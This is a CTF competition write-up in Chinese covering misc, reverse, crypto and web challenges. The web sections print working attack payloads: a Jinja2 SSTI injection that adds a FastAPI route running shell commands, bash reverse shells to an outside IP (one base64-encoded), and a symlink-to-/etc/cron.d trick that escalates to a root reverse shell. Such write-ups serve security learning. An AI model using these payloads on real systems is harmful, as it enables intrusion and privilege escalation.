CCS巅峰极客wp --by 图书馆五楼风很大
队伍情况
队伍名称
图书馆五楼风很大
队伍排名
rk4
队伍成员
k1sme4
TenMap1e
am0unt
fault
[Misc]简历
solved by k1sme4
🩸🩸 查壳，有UPX壳： 
脱壳后IDA及沙箱分析无果，直接foremost得到一张简历图片：
zsteg得到一个default.a的下载链接：
分析default.a，可以看到大量重复的yyttddd：
用厨子xor一下，得到一个新的exe文件：
沙箱未能分析出网络行为，通过IDA分析，可以看到明显的python特征：
尝试使用pyinstxtractor解包失败，最后strings看到了关键信息：
那么思路就很明确了，需要用pupy相关的工具解包，在大量搜索尝试后找到以下可用项目：
安装好依赖库后尝试运行，会出现报错：
对项目中的main.py的2.7参数尝试多种方法调整未能解决，遂详细审了一下报错，发现问题来自python2的uncompyle6库中main.py的一条assert语句，于是选择直接将这行注释掉：
再次运行，虽然最后会出现报错，但是需要的C2也已经成功输出了：
MD5后包上flag{}即可，最终flag：
flag{b57758d5acc923137eef453239ba685b}
[Reverse]babyre
solved by k1sme4
三位三位加密，而且重叠：
先进行sha256，然后异或，异或的值为原来的3位字符：
于是选择直接爆破，得到：
1 | -48-79-80-bf0bd17719429f37-39a4-748f4a37-472977279380b8a}8fb93794a9a49f8a-8a39a4-ag{b-bbd1bfed17ea-f8afb-feaflag{1lag{19 |
因为有重叠而且打乱了顺序，这里选择把得到的字符串3个3个的划分，开头肯定为fla，因为存在重叠，找到开头为la(lag)的字符，然后把g拼上去，再找ag开头的字符，以此类推，递归爆破即可，exp如下：
1 |
|
最终flag：
flag{194a39a4-7937-48fb-bfea-80bd17729f8a}
[Crypto]backdoorplus
solved by k1sme4
推导如下：
-
曲线E已知，生成元G已知
-
由横坐标sig_r得到点p_1=kG
-
z=(k_1-w*t)G+(-ak_1-b)*Y
-
其中t=1,k_1=k,Y=X*G
-
可得z=k_1G-wtG-ak_1Y-bY=p_1-wtG-aXp_1-bY
-
其中w,t,a,X,b已知
-
求出z取横坐标为k_2,然后求出p,q解RSA即可
-
实际flag比模数大，爆破倍数即可
1 | from Crypto.Util.number import * |
最终flag：
flag{0c75afae-f8ad-4df1-b2d9-a9ca348cb226}
[Web]EncirclingGame
solved by fault
签到题，玩游戏就行，随便点点给flag：
最终flag：
flag{be0900a9-ae5b-4287-b3c3-258ea0904b3e}
[Web]GoldenHornKing
solved by fault
审计源码发现就是jinjia2的ssti,经过测试后发现正确会回显fight，结合python环境下只能想到ssti打内存马或者反弹shell了，尝试反弹shell后发现弹不出来？可能是不出网？直接注册路由，但是发现是fastapi，于是去搜了fastapi注册路由，找到了add_api_route，之后持续拷打gpt得到了可以这样注册:
但是最开始的payload如下:
1 | calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("app.add_api_route(\"/fault\", lambda:__import__('os').popen('cat /flag').read(), methods=[\"GET\"])") |
最后发现还是有问题，猜测可能是app这里不能直接用，于是又继续搜索 发现sys。modules里可以找到app，于是最后的payload如下：
1 | calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__(\"sys\").modules['__main__'].__dict__['app'].add_api_route(\"/fault\", lambda:__import__('os').popen('cat /flag').read(), methods=[\"GET\"])") |
然后去访问fault路由，即可看到结果
[Web]php_online
solved by TenMap1e
1 | from flask import Flask, request, session, redirect, url_for, render_template |
审计源码index.py逻辑，发现可以输入一个8位字母数字id（这里随便用的是11111111）然后直接执行php代码：
1 | system("bash -c 'bash -i >& /dev/tcp/123.123.123.123/1234 0>&1'"); |
反弹得到shell，权限为nobody，需要进行沙箱sandbox逃逸提权：
继续，意识到执行php代码前的预处理过程：
1 | os.popen(f'cd /sandbox/{user_id} && rm *').read() |
在/sandbox/{user_id}下进行rm *操作时并不能删除掉目录，所以我们这里可以先再输入一个22222222随意执行任意的php代码（直接执行空的就行这里就是）在/sandbox下创建出另一个/sandbox/22222222目录：
/sandbox下的沙箱目录权限为777我们可以实施比较多的操作，于是我们这里可以在/sandbox/22222222下mkdir新建一个init.py目录：
而python在直接执行目录python3 init.py时需要其中有__main__.py作为main module模块，所以我们这里使用base64编码向/sandbox/22222222/init.py目录下写入一个__main__.py：
1 | echo aW1wb3J0IG9zCm9zLnBvcGVuKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy4xMjMuMTIzLjEyMy80MzIxIDA+JjEnIikucmVhZCgp | base64 -d > init.py/__main__.py |
内容为：
1 | import os |
并且将整个init.py目录赋予777权限：
此时再输入22222222使用这个id执行php代码时经过：
1 | os.popen(f'cd /sandbox/{user_id} && rm *').read() |
并不会删除或覆盖我们的init.py目录且会通过sudo -u www-data python3 init.py执行我们创建的这个目录及其下的__main__.py文件从而得到www-data用户权限的反弹shell： !
继续，有了www-data用户的shell后，我们的权限提升了一定程度，但还不够，不过幸运的是此时我们可以对/sandbox目录进行任意操作了（所有者为www-data，nobody用户无法操作但www-data用户可以随意操作）。而纵观整个代码，想要提升到root用户权限，其中能利用的无非两处操作：
1 | os.popen(f'cd /sandbox/{user_id} && rm *').read() |
其中root用户执行了rm *删除目录下所有文件以及写phpcode文件的操作，而这里我经过良久的思考和钻研，突然意识到既然我们对/sandbox目录可控，那我不就可以使用ln -s命令创建一个名字符合8位字母数字id格式的软连接指向链到任意一个目录了吗？即此处我们对{user_id}可控，也就可以对任一目录执行rm *和写phpcode文件操作。而删除所有文件显然并没有什么利用的说法，那么唯一的攻击可能性就集中在了向任意目录写任意内容的phpcode文件上。显然，这种环境的这种写文件情况就只有一个利用思路：写定时任务。我们在/sandbox目录下执行：
ln -s /etc/cron.d 33333333
创建一个名为33333333指向/etc/cron.d目录的软连接：
然后再输入33333333使用这个id在写入phpcode文件作为定时任务的同时于注释中执行php代码：
1 | * * * * * root bash -c 'bash -i >& /dev/tcp/123.123.123.123/8888 0>&1' |
这里加一个死循环的php延时代码是为了在执行phpcode文件里的php代码过程中：
1 | result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() |
导致阻塞延时卡死致使phpcode文件被留存下来于/etc/cron.d目录中而不是被执行完秒删从而触发每分钟的定时任务，此时ls /etc/cron.d即可找到这个phpcode文件：
随后等待一段时间即可接收到root用户的反弹shell，直接cat /flag即得flag：
最终flag：
flag{74c85d45-4693-4dab-90bd-65b96bb500fa}
评论 ()
最近发布
4T$CTF-赛后复现
春秋云境-spoofing
FastJson-1.2.24版本漏洞分析
春秋云境-Tsclient
CCS巅峰极客wp --by 图书馆五楼风很大